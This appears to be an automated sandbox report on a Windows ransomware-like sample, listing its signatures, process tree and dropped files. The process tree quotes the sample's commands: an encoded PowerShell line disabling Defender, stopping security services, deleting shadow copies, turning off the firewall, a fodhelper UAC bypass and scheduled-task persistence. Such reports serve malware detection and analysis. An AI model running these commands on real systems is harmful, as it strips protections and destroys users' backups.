Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/05/2026, 16:27

General

  • Target
    m88usb.com_hybers.exe
  • Size 49KB
  • Sample260508-tyhfcaay4y
  • SHA256 37c8f4a8daac9974d52986a17203ae884e27f2882029c37d06ec08dca1fb3b2d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5052
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4336
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2352
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5108
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2160
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3452
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5884
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3888
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4076
      • C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe"
        3⤵
          PID:3824
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4692
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:232
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5956
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4276
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5304
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3164
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5036
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5200
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5472
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4820
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5448
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2172
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:552
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4620
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4972
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3532
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:2352
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:1752
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4780
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:660
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:4044
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:5952
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3996
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:2700
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3704
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4700
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:5636
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:1852
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a12055 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:5740
                • C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe
                  C:\Users\Admin\AppData\Local\Temp\m88usb.com_hybers.exe
                  1⤵
                    PID:4704
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3952

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        LockScreen___1280_0720_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-330179853-1108322181-418488014-1000\ReadOnly\LockScreen_Z\LockScreen___1280_0720_notdimmed.jpg
                        • Size 62KB
                        • SHA256 af2537d470fddbeda270c965b8dbdf7e9ccf480ed2f525012e2f1035112a6d67
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 bb92a37c3ac87bcc7638c3905ee028ed75eff27fb08fa4d58a9491e783a34ce8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 8387875883e4bab9dae0868ef8afb9b558c0c8667fd88b9ba8ba1c64f82021e4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        m88usb.com_hybers.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\m88usb.com_hybers.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_oqgchvns.ohe.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oqgchvns.ohe.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 242B
                        • SHA256 fc7008b5fe1cbe5d35bfdcf917c08b1ce14b0d467182552b4c38525748a4661b
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 243B
                        • SHA256 541ff86a1a07dcf7e2244575f024c448b529f5592fe1c2cfe97401f0ada41bc7
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 37c8f4a8daac9974d52986a17203ae884e27f2882029c37d06ec08dca1fb3b2d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/660-2258-0x000001EB87600000-0x000001EB8760C000-memory.dmp

                        memory/1648-2286-0x0000000003020000-0x000000000302C000-memory.dmp

                        memory/1648-2288-0x000000001D7D0000-0x000000001D7E2000-memory.dmp

                        memory/1648-11-0x000000001DBF0000-0x000000001DDB2000-memory.dmp

                        memory/1648-0-0x0000000000F30000-0x0000000000F42000-memory.dmp

                        memory/1648-12-0x000000001E3F0000-0x000000001E918000-memory.dmp

                        memory/1648-2291-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/1648-2328-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/1648-1-0x0000000003050000-0x0000000003060000-memory.dmp

                        memory/1648-2287-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/1648-2304-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/1648-2289-0x0000000003050000-0x0000000003060000-memory.dmp

                        memory/1648-2325-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/1648-2307-0x000000001D1C0000-0x000000001D22F000-memory.dmp

                        memory/3164-2283-0x000002C43EEC0000-0x000002C43EF2F000-memory.dmp

                        memory/4044-2276-0x000002B5796B0000-0x000002B5796B1000-memory.dmp

                        memory/4692-2243-0x0000029B56A30000-0x0000029B56A3C000-memory.dmp

                        memory/4700-2285-0x0000026937DB0000-0x0000026937DE1000-memory.dmp

                        memory/4820-2261-0x0000018E385C0000-0x0000018E3862F000-memory.dmp

                        memory/5052-1362-0x000002BECAEE0000-0x000002BECAEEA000-memory.dmp

                        memory/5052-2252-0x000002BECB050000-0x000002BECB058000-memory.dmp

                        memory/5052-2267-0x000002BEB0AE0000-0x000002BEB0AEC000-memory.dmp

                        memory/5052-2268-0x000002BEB0B10000-0x000002BEB0B22000-memory.dmp

                        memory/5052-2269-0x000002BECAA60000-0x000002BECAACF000-memory.dmp

                        memory/5052-2255-0x000002BECB090000-0x000002BECB09A000-memory.dmp

                        memory/5052-2254-0x000002BECB080000-0x000002BECB086000-memory.dmp

                        memory/5052-16-0x000002BECA900000-0x000002BECA922000-memory.dmp

                        memory/5052-2245-0x000002BECB0A0000-0x000002BECB0BA000-memory.dmp

                        memory/5052-2244-0x000002BECB040000-0x000002BECB04A000-memory.dmp

                        memory/5052-1949-0x000002BECB060000-0x000002BECB07C000-memory.dmp

                        memory/5052-938-0x000002BECAE00000-0x000002BECAE1C000-memory.dmp

                        memory/5052-973-0x000002BECAE20000-0x000002BECAED3000-memory.dmp

                        memory/5200-2270-0x0000025369200000-0x000002536926F000-memory.dmp